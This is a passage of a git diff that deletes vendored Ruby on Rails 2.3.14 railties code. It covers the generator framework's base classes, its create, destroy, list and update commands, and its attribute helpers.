-        # finally, swap out full_gem_path
-        # it would be better to use a Gem::Specification subclass, but the YAML loads an explicit class
-        class << spec
-          def full_gem_path
-            path = File.join installation_path, full_name
-            return path if File.directory? path
-            File.join installation_path, original_name
-          end
-        end
-        vendor_gems[File.basename(d)] = spec
-      end
-      @vendor_source_index = Gem::SourceIndex.new(vendor_gems)
-    end
-
-    def version_for_dir(d)
-      version = d.split('-').find { |s| s.match(/^\d(\.\d|\.\w+)*$/) }
-      Gem::Version.new(version)
-    end
-
-    def load_specification(gem_dir)
-      spec_file = File.join(gem_dir, '.specification')
-      YAML.load_file(spec_file) if File.exist?(spec_file)
-    end
-
-    def find_name(*args)
-      @installed_source_index.find_name(*args) + @vendor_source_index.find_name(*args)
-    end
-
-    def search(*args)
-      # look for vendor gems, and then installed gems - later elements take priority
-      @installed_source_index.search(*args) + @vendor_source_index.search(*args)
-    end
-
-    def each(&block)
-      @vendor_source_index.each(&block)
-      @installed_source_index.each(&block)
-    end
-
-    def add_spec(spec)
-      @vendor_source_index.add_spec spec
-    end
-
-    def remove_spec(spec)
-      @vendor_source_index.remove_spec spec
-    end
-
-    def size
-      @vendor_source_index.size + @installed_source_index.size
-    end
-
-  end
-end
diff --git a/vendor/rails/railties/lib/rails/version.rb b/vendor/rails/railties/lib/rails/version.rb
deleted file mode 100644
index b89643ff..00000000
--- a/vendor/rails/railties/lib/rails/version.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-module Rails
-  module VERSION #:nodoc:
-    MAJOR = 2
-    MINOR = 3
-    TINY  = 14
-
-    STRING = [MAJOR, MINOR, TINY].join('.')
-  end
-end
diff --git a/vendor/rails/railties/lib/rails_generator.rb b/vendor/rails/railties/lib/rails_generator.rb
deleted file mode 100644
index 264c6490..00000000
--- a/vendor/rails/railties/lib/rails_generator.rb
+++ /dev/null
@@ -1,46 +0,0 @@
-#--
-# Copyright (c) 2004 Jeremy Kemper
-#
-# Permission is hereby granted, free of charge, to any person obtaining
-# a copy of this software and associated documentation files (the
-# "Software"), to deal in the Software without restriction, including
-# without limitation the rights to use, copy, modify, merge, publish,
-# distribute, sublicense, and/or sell copies of the Software, and to
-# permit persons to whom the Software is furnished to do so, subject to
-# the following conditions:
-#
-# The above copyright notice and this permission notice shall be
-# included in all copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-#++
-
-railties = File.expand_path("..", __FILE__)
-$:.unshift(railties) unless $:.include?(railties)
-
-activesupport = File.expand_path("../../../activesupport/lib", __FILE__)
-$:.unshift(activesupport) unless $:.include?(activesupport)
-
-begin
-  require 'active_support'  
-rescue LoadError
-  require 'rubygems'
-  gem 'activesupport'
-end
-
-require 'rails_generator/base'
-require 'rails_generator/lookup'
-require 'rails_generator/commands'
-
-Rails::Generator::Base.send(:include, Rails::Generator::Lookup)
-Rails::Generator::Base.send(:include, Rails::Generator::Commands)
-
-# Set up a default logger for convenience.
-require 'rails_generator/simple_logger'
-Rails::Generator::Base.logger = Rails::Generator::SimpleLogger.new(STDOUT)
diff --git a/vendor/rails/railties/lib/rails_generator/base.rb b/vendor/rails/railties/lib/rails_generator/base.rb
deleted file mode 100644
index dd75f05c..00000000
--- a/vendor/rails/railties/lib/rails_generator/base.rb
+++ /dev/null
@@ -1,266 +0,0 @@
-require File.dirname(__FILE__) + '/options'
-require File.dirname(__FILE__) + '/manifest'
-require File.dirname(__FILE__) + '/spec'
-require File.dirname(__FILE__) + '/generated_attribute'
-
-module Rails
-  # Rails::Generator is a code generation platform tailored for the Rails
-  # web application framework.  Generators are easily invoked within Rails
-  # applications to add and remove components such as models and controllers.
-  # New generators are easy to create and may be distributed as RubyGems,
-  # tarballs, or Rails plugins for inclusion system-wide, per-user, 
-  # or per-application.
-  #
-  # For actual examples see the rails_generator/generators directory in the
-  # Rails source (or the +railties+ directory if you have frozen the Rails
-  # source in your application).
-  #
-  # Generators may subclass other generators to provide variations that
-  # require little or no new logic but replace the template files.
-  #
-  # For a RubyGem, put your generator class and templates in the +lib+
-  # directory. For a Rails plugin, make a +generators+ directory at the 
-  # root of your plugin.
-  #
-  # The layout of generator files can be seen in the built-in 
-  # +controller+ generator:
-  #   
-  #   generators/
-  #     components/
-  #       controller/
-  #         controller_generator.rb
-  #         templates/
-  #           controller.rb
-  #           functional_test.rb
-  #           helper.rb
-  #           view.html.erb
-  #
-  # The directory name (+controller+) matches the name of the generator file
-  # (controller_generator.rb) and class (ControllerGenerator). The files
-  # that will be copied or used as templates are stored in the +templates+
-  # directory.
-  #
-  # The filenames of the templates don't matter, but choose something that
-  # will be self-explanatory since you will be referencing these in the 
-  # +manifest+ method inside your generator subclass.
-  #
-  # 
-  module Generator
-    class GeneratorError < StandardError; end
-    class UsageError < GeneratorError; end
-
-
-    # The base code generator is bare-bones.  It sets up the source and
-    # destination paths and tells the logger whether to keep its trap shut.
-    #
-    # It's useful for copying files such as stylesheets, images, or 
-    # javascripts.
-    #
-    # For more comprehensive template-based passive code generation with
-    # arguments, you'll want Rails::Generator::NamedBase. 
-    #
-    # Generators create a manifest of the actions they perform then hand
-    # the manifest to a command which replays the actions to do the heavy
-    # lifting (such as checking for existing files or creating directories
-    # if needed). Create, destroy, and list commands are included.  Since a
-    # single manifest may be used by any command, creating new generators is
-    # as simple as writing some code templates and declaring what you'd like
-    # to do with them.
-    #
-    # The manifest method must be implemented by subclasses, returning a
-    # Rails::Generator::Manifest.  The +record+ method is provided as a
-    # convenience for manifest creation.  Example:
-    #
-    #   class StylesheetGenerator < Rails::Generator::Base
-    #     def manifest
-    #       record do |m|
-    #         m.directory('public/stylesheets')
-    #         m.file('application.css', 'public/stylesheets/application.css')
-    #       end
-    #     end
-    #   end
-    #
-    # See Rails::Generator::Commands::Create for a list of methods available
-    # to the manifest.
-    class Base
-      include Options
-
-      # Declare default options for the generator.  These options
-      # are inherited to subclasses.
-      default_options :collision => :ask, :quiet => false
-
-      # A logger instance available everywhere in the generator.
-      cattr_accessor :logger
-
-      # Every generator that is dynamically looked up is tagged with a
-      # Spec describing where it was found.
-      class_inheritable_accessor :spec
-
-      attr_reader :source_root, :destination_root, :args
-
-      def initialize(runtime_args, runtime_options = {})
-        @args = runtime_args
-        parse!(@args, runtime_options)
-
-        # Derive source and destination paths.
-        @source_root = options[:source] || File.join(spec.path, 'templates')
-        if options[:destination]
-          @destination_root = options[:destination]
-        elsif defined? ::RAILS_ROOT
-          @destination_root = ::RAILS_ROOT
-        end
-
-        # Silence the logger if requested.
-        logger.quiet = options[:quiet]
-
-        # Raise usage error if help is requested.
-        usage if options[:help]
-      end
-
-      # Generators must provide a manifest.  Use the +record+ method to create
-      # a new manifest and record your generator's actions.
-      def manifest
-        raise NotImplementedError, "No manifest for '#{spec.name}' generator."
-      end
-
-      # Return the full path from the source root for the given path.
-      # Example for source_root = '/source':
-      #   source_path('some/path.rb') == '/source/some/path.rb'
-      #
-      # The given path may include a colon ':' character to indicate that
-      # the file belongs to another generator.  This notation allows any
-      # generator to borrow files from another.  Example:
-      #   source_path('model:fixture.yml') = '/model/source/path/fixture.yml'
-      def source_path(relative_source)
-        # Check whether we're referring to another generator's file.
-        name, path = relative_source.split(':', 2)
-
-        # If not, return the full path to our source file.
-        if path.nil?
-          File.join(source_root, name)
-
-        # Otherwise, ask our referral for the file.
-        else
-          # FIXME: this is broken, though almost always true.  Others'
-          # source_root are not necessarily the templates dir.
-          File.join(self.class.lookup(name).path, 'templates', path)
-        end
-      end
-
-      # Return the full path from the destination root for the given path.
-      # Example for destination_root = '/dest':
-      #   destination_path('some/path.rb') == '/dest/some/path.rb'
-      def destination_path(relative_destination)
-        File.join(destination_root, relative_destination)
-      end
-
-      def after_generate
-      end
-
-      protected
-        # Convenience method for generator subclasses to record a manifest.
-        def record
-          Rails::Generator::Manifest.new(self) { |m| yield m }
-        end
-
-        # Override with your own usage banner.
-        def banner
-          "Usage: #{$0} #{spec.name} [options]"
-        end
-
-        # Read USAGE from file in generator base path.
-        def usage_message
-          File.read(File.join(spec.path, 'USAGE')) rescue ''
-        end
-    end
-
-
-    # The base generator for named components: models, controllers, mailers,
-    # etc.  The target name is taken as the first argument and inflected to
-    # singular, plural, class, file, and table forms for your convenience.
-    # The remaining arguments are aliased to +actions+ as an array for 
-    # controller and mailer convenience.
-    #
-    # Several useful local variables and methods are populated in the 
-    # +initialize+ method. See below for a list of Attributes and
-    # External Aliases available to both the manifest and to all templates.    
-    #
-    # If no name is provided, the generator raises a usage error with content
-    # optionally read from the USAGE file in the generator's base path.
-    #
-    # For example, the +controller+ generator takes the first argument as 
-    # the name of the class and subsequent arguments as the names of
-    # actions to be generated:
-    #
-    #   ./script/generate controller Article index new create
-    #
-    # See Rails::Generator::Base for a discussion of manifests, 
-    # Rails::Generator::Commands::Create for methods available to the manifest,
-    # and Rails::Generator for a general discussion of generators.
-    class NamedBase < Base
-      attr_reader   :name, :class_name, :singular_name, :plural_name, :table_name
-      attr_reader   :class_path, :file_path, :class_nesting, :class_nesting_depth
-      alias_method  :file_name,  :singular_name
-      alias_method  :actions, :args
-
-      def initialize(runtime_args, runtime_options = {})
-        super
-
-        # Name argument is required.
-        usage if runtime_args.empty?
-
-        @args = runtime_args.dup
-        base_name = @args.shift
-        assign_names!(base_name)
-      end
-
-      protected
-        # Override with your own usage banner.
-        def banner
-          "Usage: #{$0} #{spec.name} #{spec.name.camelize}Name [options]"
-        end
-    
-        def attributes
-          @attributes ||= @args.collect do |attribute|
-            Rails::Generator::GeneratedAttribute.new(*attribute.split(":"))
-          end
-        end
-
-
-      private
-        def assign_names!(name)
-          @name = name
-          base_name, @class_path, @file_path, @class_nesting, @class_nesting_depth = extract_modules(@name)
-          @class_name_without_nesting, @singular_name, @plural_name = inflect_names(base_name)
-          @table_name = (!defined?(ActiveRecord::Base) || ActiveRecord::Base.pluralize_table_names) ? plural_name : singular_name
-          if @class_nesting.empty?
-            @class_name = @class_name_without_nesting
-          else
-            @table_name = @class_nesting.underscore << "_" << @table_name
-            @class_name = "#{@class_nesting}::#{@class_name_without_nesting}"
-          end
-          @table_name.gsub! '/', '_'
-        end
-
-        # Extract modules from filesystem-style or ruby-style path:
-        #   good/fun/stuff
-        #   Good::Fun::Stuff
-        # produce the same results.
-        def extract_modules(name)
-          modules = name.include?('/') ? name.split('/') : name.split('::')
-          name    = modules.pop
-          path    = modules.map { |m| m.underscore }
-          file_path = (path + [name.underscore]).join('/')
-          nesting = modules.map { |m| m.camelize }.join('::')
-          [name, path, file_path, nesting, modules.size]
-        end
-
-        def inflect_names(name)
-          camel  = name.camelize
-          under  = camel.underscore
-          plural = under.pluralize
-          [camel, under, plural]
-        end
-    end
-  end
-end
diff --git a/vendor/rails/railties/lib/rails_generator/commands.rb b/vendor/rails/railties/lib/rails_generator/commands.rb
deleted file mode 100644
index b684dc92..00000000
--- a/vendor/rails/railties/lib/rails_generator/commands.rb
+++ /dev/null
@@ -1,621 +0,0 @@
-require 'delegate'
-require 'optparse'
-require 'fileutils'
-require 'tempfile'
-require 'erb'
-
-module Rails
-  module Generator
-    module Commands
-      # Here's a convenient way to get a handle on generator commands.
-      # Command.instance('destroy', my_generator) instantiates a Destroy
-      # delegate of my_generator ready to do your dirty work.
-      def self.instance(command, generator)
-        const_get(command.to_s.camelize).new(generator)
-      end
-
-      # Even more convenient access to commands.  Include Commands in
-      # the generator Base class to get a nice #command instance method
-      # which returns a delegate for the requested command.
-      def self.included(base)
-        base.send(:define_method, :command) do |command|
-          Commands.instance(command, self)
-        end
-      end
-
-
-      # Generator commands delegate Rails::Generator::Base and implement
-      # a standard set of actions.  Their behavior is defined by the way
-      # they respond to these actions: Create brings life; Destroy brings
-      # death; List passively observes.
-      #
-      # Commands are invoked by replaying (or rewinding) the generator's
-      # manifest of actions.  See Rails::Generator::Manifest and
-      # Rails::Generator::Base#manifest method that generator subclasses
-      # are required to override.
-      #
-      # Commands allows generators to "plug in" invocation behavior, which
-      # corresponds to the GoF Strategy pattern.
-      class Base < DelegateClass(Rails::Generator::Base)
-        # Replay action manifest.  RewindBase subclass rewinds manifest.
-        def invoke!
-          manifest.replay(self)
-          after_generate
-        end
-
-        def dependency(generator_name, args, runtime_options = {})
-          logger.dependency(generator_name) do
-            self.class.new(instance(generator_name, args, full_options(runtime_options))).invoke!
-          end
-        end
-
-        # Does nothing for all commands except Create.
-        def class_collisions(*class_names)
-        end
-
-        # Does nothing for all commands except Create.
-        def readme(*args)
-        end
-
-        protected
-          def current_migration_number
-            Dir.glob("#{RAILS_ROOT}/#{@migration_directory}/[0-9]*_*.rb").inject(0) do |max, file_path|
-              n = File.basename(file_path).split('_', 2).first.to_i
-              if n > max then n else max end
-            end
-          end
-             
-          def next_migration_number
-            current_migration_number + 1
-          end
-               
-          def migration_directory(relative_path)
-            directory(@migration_directory = relative_path)
-          end
-
-          def existing_migrations(file_name)
-            Dir.glob("#{@migration_directory}/[0-9]*_*.rb").grep(/[0-9]+_#{file_name}.rb$/)
-          end
-
-          def migration_exists?(file_name)
-            not existing_migrations(file_name).empty?
-          end
-
-          def next_migration_string(padding = 3)
-            if ActiveRecord::Base.timestamped_migrations
-              Time.now.utc.strftime("%Y%m%d%H%M%S")
-            else
-              "%.#{padding}d" % next_migration_number
-            end
-          end
-
-          def gsub_file(relative_destination, regexp, *args, &block)
-            path = destination_path(relative_destination)
-            content = File.read(path).gsub(regexp, *args, &block)
-            File.open(path, 'wb') { |file| file.write(content) }
-          end
-
-        private
-          # Ask the user interactively whether to force collision.
-          def force_file_collision?(destination, src, dst, file_options = {}, &block)
-            $stdout.print "overwrite #{destination}? (enter \"h\" for help) [Ynaqdh] "
-            case $stdin.gets.chomp
-              when /\Ad\z/i
-                Tempfile.open(File.basename(destination), File.dirname(dst)) do |temp|
-                  temp.write render_file(src, file_options, &block)
-                  temp.rewind
-                  $stdout.puts `#{diff_cmd} "#{dst}" "#{temp.path}"`
-                end
-                puts "retrying"
-                raise 'retry diff'
-              when /\Aa\z/i
-                $stdout.puts "forcing #{spec.name}"
-                options[:collision] = :force
-              when /\Aq\z/i
-                $stdout.puts "aborting #{spec.name}"
-                raise SystemExit
-              when /\An\z/i then :skip
-              when /\Ay\z/i then :force
-              else
-                $stdout.puts <<-HELP
-Y - yes, overwrite
-n - no, do not overwrite
-a - all, overwrite this and all others
-q - quit, abort
-d - diff, show the differences between the old and the new
-h - help, show this help
-HELP
-                raise 'retry'
-            end
-          rescue
-            retry
-          end
-
-          def diff_cmd
-            ENV['RAILS_DIFF'] || 'diff -u'
-          end
-
-          def render_template_part(template_options)
-            # Getting Sandbox to evaluate part template in it
-            part_binding = template_options[:sandbox].call.sandbox_binding
-            part_rel_path = template_options[:insert]
-            part_path = source_path(part_rel_path)
-
-            # Render inner template within Sandbox binding
-            rendered_part = ERB.new(File.readlines(part_path).join, nil, '-').result(part_binding)
-            begin_mark = template_part_mark(template_options[:begin_mark], template_options[:mark_id])
-            end_mark = template_part_mark(template_options[:end_mark], template_options[:mark_id])
-            begin_mark + rendered_part + end_mark
-          end
-
-          def template_part_mark(name, id)
-            "<!--[#{name}:#{id}]-->\n"
-          end
-      end
-
-      # Base class for commands which handle generator actions in reverse, such as Destroy.
-      class RewindBase < Base
-        # Rewind action manifest.
-        def invoke!
-          manifest.rewind(self)
-        end
-      end
-
-
-      # Create is the premier generator command.  It copies files, creates
-      # directories, renders templates, and more.
-      class Create < Base
-
-        # Check whether the given class names are already taken by
-        # Ruby or Rails.  In the future, expand to check other namespaces
-        # such as the rest of the user's app.
-        def class_collisions(*class_names)
-          path = class_names.shift
-          class_names.flatten.each do |class_name|
-            # Convert to string to allow symbol arguments.
-            class_name = class_name.to_s
-
-            # Skip empty strings.
-            next if class_name.strip.empty?
-
-            # Split the class from its module nesting.
-            nesting = class_name.split('::')
-            name = nesting.pop
-
-            # Hack to limit const_defined? to non-inherited on 1.9.
-            extra = []
-            extra << false unless Object.method(:const_defined?).arity == 1
-
-            # Extract the last Module in the nesting.
-            last = nesting.inject(Object) { |last, nest|
-              break unless last.const_defined?(nest, *extra)
-              last.const_get(nest)
-            }
-
-            # If the last Module exists, check whether the given
-            # class exists and raise a collision if so.
-            if last and last.const_defined?(name.camelize, *extra)
-              raise_class_collision(class_name)
-            end
-          end
-        end
-
-        # Copy a file from source to destination with collision checking.
-        #
-        # The file_options hash accepts :chmod and :shebang and :collision options.
-        # :chmod sets the permissions of the destination file:
-        #   file 'config/empty.log', 'log/test.log', :chmod => 0664
-        # :shebang sets the #!/usr/bin/ruby line for scripts
-        #   file 'bin/generate.rb', 'script/generate', :chmod => 0755, :shebang => '/usr/bin/env ruby'
-        # :collision sets the collision option only for the destination file:
-        #   file 'settings/server.yml', 'config/server.yml', :collision => :skip
-        #
-        # Collisions are handled by checking whether the destination file
-        # exists and either skipping the file, forcing overwrite, or asking
-        # the user what to do.
-        def file(relative_source, relative_destination, file_options = {}, &block)
-          # Determine full paths for source and destination files.
-          source              = source_path(relative_source)
-          destination         = destination_path(relative_destination)
-          destination_exists  = File.exist?(destination)
-
-          # If source and destination are identical then we're done.
-          if destination_exists and identical?(source, destination, &block)
-            return logger.identical(relative_destination)
-          end
-
-          # Check for and resolve file collisions.
-          if destination_exists
-
-            # Make a choice whether to overwrite the file.  :force and
-            # :skip already have their mind made up, but give :ask a shot.
-            choice = case (file_options[:collision] || options[:collision]).to_sym #|| :ask
-              when :ask   then force_file_collision?(relative_destination, source, destination, file_options, &block)
-              when :force then :force
-              when :skip  then :skip
-              else raise "Invalid collision option: #{options[:collision].inspect}"
-            end
-
-            # Take action based on our choice.  Bail out if we chose to
-            # skip the file; otherwise, log our transgression and continue.
-            case choice
-              when :force then logger.force(relative_destination)
-              when :skip  then return(logger.skip(relative_destination))
-              else raise "Invalid collision choice: #{choice}.inspect"
-            end
-
-          # File doesn't exist so log its unbesmirched creation.
-          else
-            logger.create relative_destination
-          end
-
-          # If we're pretending, back off now.
-          return if options[:pretend]
-
-          # Write destination file with optional shebang.  Yield for content
-          # if block given so templaters may render the source file.  If a
-          # shebang is requested, replace the existing shebang or insert a
-          # new one.
-          File.open(destination, 'wb') do |dest|
-            dest.write render_file(source, file_options, &block)
-          end
-
-          # Optionally change permissions.
-          if file_options[:chmod]
-            FileUtils.chmod(file_options[:chmod], destination)
-          end
-
-          # Optionally add file to subversion or git
-          system("svn add #{destination}") if options[:svn]
-          system("git add -v #{relative_destination}") if options[:git]
-        end
-
-        # Checks if the source and the destination file are identical. If
-        # passed a block then the source file is a template that needs to first
-        # be evaluated before being compared to the destination.
-        def identical?(source, destination, &block)
-          return false if File.directory? destination
-          source      = block_given? ? File.open(source) {|sf| yield(sf)} : IO.read(source)
-          destination = IO.read(destination)
-          source == destination
-        end
-
-        # Generate a file for a Rails application using an ERuby template.
-        # Looks up and evaluates a template by name and writes the result.
-        #
-        # The ERB template uses explicit trim mode to best control the
-        # proliferation of whitespace in generated code.  <%- trims leading
-        # whitespace; -%> trims trailing whitespace including one newline.
-        #
-        # A hash of template options may be passed as the last argument.
-        # The options accepted by the file are accepted as well as :assigns,
-        # a hash of variable bindings.  Example:
-        #   template 'foo', 'bar', :assigns => { :action => 'view' }
-        #
-        # Template is implemented in terms of file.  It calls file with a
-        # block which takes a file handle and returns its rendered contents.
-        def template(relative_source, relative_destination, template_options = {})
-          file(relative_source, relative_destination, template_options) do |file|
-            # Evaluate any assignments in a temporary, throwaway binding.
-            vars = template_options[:assigns] || {}
-            b = template_options[:binding] || binding
-            vars.each { |k,v| eval "#{k} = vars[:#{k}] || vars['#{k}']", b }
-
-            # Render the source file with the temporary binding.
-            ERB.new(file.read, nil, '-').result(b)
-          end
-        end
-
-        def complex_template(relative_source, relative_destination, template_options = {})
-          options = template_options.dup
-          options[:assigns] ||= {}
-          options[:assigns]['template_for_inclusion'] = render_template_part(template_options)
-          template(relative_source, relative_destination, options)
-        end
-
-        # Create a directory including any missing parent directories.
-        # Always skips directories which exist.
-        def directory(relative_path)
-          path = destination_path(relative_path)
-          if File.exist?(path)
-            logger.exists relative_path
-          else
-            logger.create relative_path
-            unless options[:pretend]
-              FileUtils.mkdir_p(path)
-              # git doesn't require adding the paths, adding the files later will
-              # automatically do a path add.
-
-              # Subversion doesn't do path adds, so we need to add
-              # each directory individually.
-              # So stack up the directory tree and add the paths to
-              # subversion in order without recursion.
-              if options[:svn]
-                stack = [relative_path]
-                until File.dirname(stack.last) == stack.last # dirname('.') == '.'
-                  stack.push File.dirname(stack.last)
-                end
-                stack.reverse_each do |rel_path|
-                  svn_path = destination_path(rel_path)
-                  system("svn add -N #{svn_path}") unless File.directory?(File.join(svn_path, '.svn'))
-                end
-              end
-            end
-          end
-        end
-
-        # Display a README.
-        def readme(*relative_sources)
-          relative_sources.flatten.each do |relative_source|
-            logger.readme relative_source
-            puts File.read(source_path(relative_source)) unless options[:pretend]
-          end
-        end
-
-        # When creating a migration, it knows to find the first available file in db/migrate and use the migration.rb template.
-        def migration_template(relative_source, relative_destination, template_options = {})
-          migration_directory relative_destination
-          migration_file_name = template_options[:migration_file_name] || file_name
-          raise "Another migration is already named #{migration_file_name}: #{existing_migrations(migration_file_name).first}" if migration_exists?(migration_file_name)
-          template(relative_source, "#{relative_destination}/#{next_migration_string}_#{migration_file_name}.rb", template_options)
-        end
-
-        def route_resources(*resources)
-          resource_list = resources.map { |r| r.to_sym.inspect }.join(', ')
-          sentinel = 'ActionController::Routing::Routes.draw do |map|'
-
-          logger.route "map.resources #{resource_list}"
-          unless options[:pretend]
-            gsub_file 'config/routes.rb', /(#{Regexp.escape(sentinel)})/mi do |match|
-              "#{match}\n  map.resources #{resource_list}\n"
-            end
-          end
-        end
-
-        private
-          def render_file(path, options = {})
-            File.open(path, 'rb') do |file|
-              if block_given?
-                yield file
-              else
-                content = ''
-                if shebang = options[:shebang]
-                  content << "#!#{shebang}\n"
-                  if line = file.gets
-                    content << "line\n" if line !~ /^#!/
-                  end
-                end
-                content << file.read
-              end
-            end
-          end
-
-          # Raise a usage error with an informative WordNet suggestion.
-          # Thanks to Florian Gross (flgr).
-          def raise_class_collision(class_name)
-            message = <<end_message
-  The name '#{class_name}' is either already used in your application or reserved by Ruby on Rails.
-  Please choose an alternative and run this generator again.
-end_message
-            if suggest = find_synonyms(class_name)
-              if suggest.any?
-                message << "\n  Suggestions:  \n\n"
-                message << suggest.join("\n")
-              end
-            end
-            raise UsageError, message
-          end
-
-          SYNONYM_LOOKUP_URI = "http://wordnet.princeton.edu/perl/webwn?s=%s"
-
-          # Look up synonyms on WordNet.  Thanks to Florian Gross (flgr).
-          def find_synonyms(word)
-            require 'open-uri'
-            require 'timeout'
-            timeout(5) do
-              open(SYNONYM_LOOKUP_URI % word) do |stream|
-                # Grab words linked to dictionary entries as possible synonyms
-                data = stream.read.gsub("&nbsp;", " ").scan(/<a href="webwn.*?">([\w ]*?)<\/a>/s).uniq
-              end
-            end
-          rescue Exception
-            return nil
-          end
-      end
-
-
-      # Undo the actions performed by a generator.  Rewind the action
-      # manifest and attempt to completely erase the results of each action.
-      class Destroy < RewindBase
-        # Remove a file if it exists and is a file.
-        def file(relative_source, relative_destination, file_options = {})
-          destination = destination_path(relative_destination)
-          if File.exist?(destination)
-            logger.rm relative_destination
-            unless options[:pretend]
-              if options[:svn]
-                # If the file has been marked to be added
-                # but has not yet been checked in, revert and delete
-                if options[:svn][relative_destination]
-                  system("svn revert #{destination}")
-                  FileUtils.rm(destination)
-                else
-                # If the directory is not in the status list, it
-                # has no modifications so we can simply remove it
-                  system("svn rm #{destination}")
-                end
-              elsif options[:git]
-                if options[:git][:new][relative_destination]
-                  # file has been added, but not committed
-                  system("git reset HEAD #{relative_destination}")
-                  FileUtils.rm(destination)
-                elsif options[:git][:modified][relative_destination]
-                  # file is committed and modified
-                  system("git rm -f #{relative_destination}")
-                else
-                  # If the directory is not in the status list, it
-                  # has no modifications so we can simply remove it
-                  system("git rm #{relative_destination}")
-                end
-              else
-                FileUtils.rm(destination)
-              end
-            end
-          else
-            logger.missing relative_destination
-            return
-          end
-        end
-
-        # Templates are deleted just like files and the actions take the
-        # same parameters, so simply alias the file method.
-        alias_method :template, :file
-
-        # Remove each directory in the given path from right to left.
-        # Remove each subdirectory if it exists and is a directory.
-        def directory(relative_path)
-          parts = relative_path.split('/')
-          until parts.empty?
-            partial = File.join(parts)
-            path = destination_path(partial)
-            if File.exist?(path)
-              if Dir[File.join(path, '*')].empty?
-                logger.rmdir partial
-                unless options[:pretend]
-                  if options[:svn]
-                    # If the directory has been marked to be added
-                    # but has not yet been checked in, revert and delete
-                    if options[:svn][relative_path]
-                      system("svn revert #{path}")
-                      FileUtils.rmdir(path)
-                    else
-                    # If the directory is not in the status list, it
-                    # has no modifications so we can simply remove it
-                      system("svn rm #{path}")
-                    end
-                  # I don't think git needs to remove directories?..
-                  # or maybe they have special consideration...
-                  else
-                    FileUtils.rmdir(path)
-                  end
-                end
-              else
-                logger.notempty partial
-              end
-            else
-              logger.missing partial
-            end
-            parts.pop
-          end
-        end
-
-        def complex_template(*args)
-          # nothing should be done here
-        end
-
-        # When deleting a migration, it knows to delete every file named "[0-9]*_#{file_name}".
-        def migration_template(relative_source, relative_destination, template_options = {})
-          migration_directory relative_destination
-
-          migration_file_name = template_options[:migration_file_name] || file_name
-          unless migration_exists?(migration_file_name)
-            puts "There is no migration named #{migration_file_name}"
-            return
-          end
-
-
-          existing_migrations(migration_file_name).each do |file_path|
-            file(relative_source, file_path, template_options)
-          end
-        end
-
-        def route_resources(*resources)
-          resource_list = resources.map { |r| r.to_sym.inspect }.join(', ')
-          look_for = "\n  map.resources #{resource_list}\n"
-          logger.route "map.resources #{resource_list}"
-          gsub_file 'config/routes.rb', /(#{look_for})/mi, ''
-        end
-      end
-
-
-      # List a generator's action manifest.
-      class List < Base
-        def dependency(generator_name, args, options = {})
-          logger.dependency "#{generator_name}(#{args.join(', ')}, #{options.inspect})"
-        end
-
-        def class_collisions(*class_names)
-          logger.class_collisions class_names.join(', ')
-        end
-
-        def file(relative_source, relative_destination, options = {})
-          logger.file relative_destination
-        end
-
-        def template(relative_source, relative_destination, options = {})
-          logger.template relative_destination
-        end
-
-        def complex_template(relative_source, relative_destination, options = {})
-          logger.template "#{options[:insert]} inside #{relative_destination}"
-        end
-
-        def directory(relative_path)
-          logger.directory "#{destination_path(relative_path)}/"
-        end
-
-        def readme(*args)
-          logger.readme args.join(', ')
-        end
-
-        def migration_template(relative_source, relative_destination, options = {})
-          migration_directory relative_destination
-          logger.migration_template file_name
-        end
-
-        def route_resources(*resources)
-          resource_list = resources.map { |r| r.to_sym.inspect }.join(', ')
-          logger.route "map.resources #{resource_list}"
-        end
-      end
-
-      # Update generator's action manifest.
-      class Update < Create
-        def file(relative_source, relative_destination, options = {})
-          # logger.file relative_destination
-        end
-
-        def template(relative_source, relative_destination, options = {})
-          # logger.template relative_destination
-        end
-
-        def complex_template(relative_source, relative_destination, template_options = {})
-
-           begin
-             dest_file = destination_path(relative_destination)
-             source_to_update = File.readlines(dest_file).join
-           rescue Errno::ENOENT
-             logger.missing relative_destination
-             return
-           end
-
-           logger.refreshing "#{template_options[:insert].gsub(/\.erb/,'')} inside #{relative_destination}"
-
-           begin_mark = Regexp.quote(template_part_mark(template_options[:begin_mark], template_options[:mark_id]))
-           end_mark = Regexp.quote(template_part_mark(template_options[:end_mark], template_options[:mark_id]))
-
-           # Refreshing inner part of the template with freshly rendered part.
-           rendered_part = render_template_part(template_options)
-           source_to_update.gsub!(/#{begin_mark}.*?#{end_mark}/m, rendered_part)
-
-           File.open(dest_file, 'w') { |file| file.write(source_to_update) }
-        end
-
-        def directory(relative_path)
-          # logger.directory "#{destination_path(relative_path)}/"
-        end
-      end
-
-    end
-  end
-end
diff --git a/vendor/rails/railties/lib/rails_generator/generated_attribute.rb b/vendor/rails/railties/lib/rails_generator/generated_attribute.rb
deleted file mode 100644
index 81c3bfd2..00000000
--- a/vendor/rails/railties/lib/rails_generator/generated_attribute.rb
+++ /dev/null
@@ -1,47 +0,0 @@
-require 'optparse'
-
-module Rails
-  module Generator
-    class GeneratedAttribute
-      attr_accessor :name, :type, :column
-
-      def initialize(name, type)
-        @name, @type = name, type.to_sym
-        @column = ActiveRecord::ConnectionAdapters::Column.new(name, nil, @type)
-      end
-
-      def field_type
-        @field_type ||= case type
-          when :integer, :float, :decimal then :text_field
-          when :time                      then :time_select
-          when :datetime, :timestamp      then :datetime_select
-          when :date                      then :date_select
-          when :string                    then :text_field
-          when :text                      then :text_area
-          when :boolean                   then :check_box
-          else
-            :text_field
-        end      
-      end
-
-      def default
-        @default ||= case type
-          when :integer                     then 1
-          when :float                       then 1.5
-          when :decimal                     then "9.99"
-          when :datetime, :timestamp, :time then Time.now.to_s(:db)
-          when :date                        then Date.today.to_s(:db)
-          when :string                      then "MyString"
-          when :text                        then "MyText"
-          when :boolean                     then false
-          else
-            ""
-        end      
-      end
-
-      def reference?
-        [ :references, :belongs_to ].include?(self.type)
-      end
-    end
-  end
-end
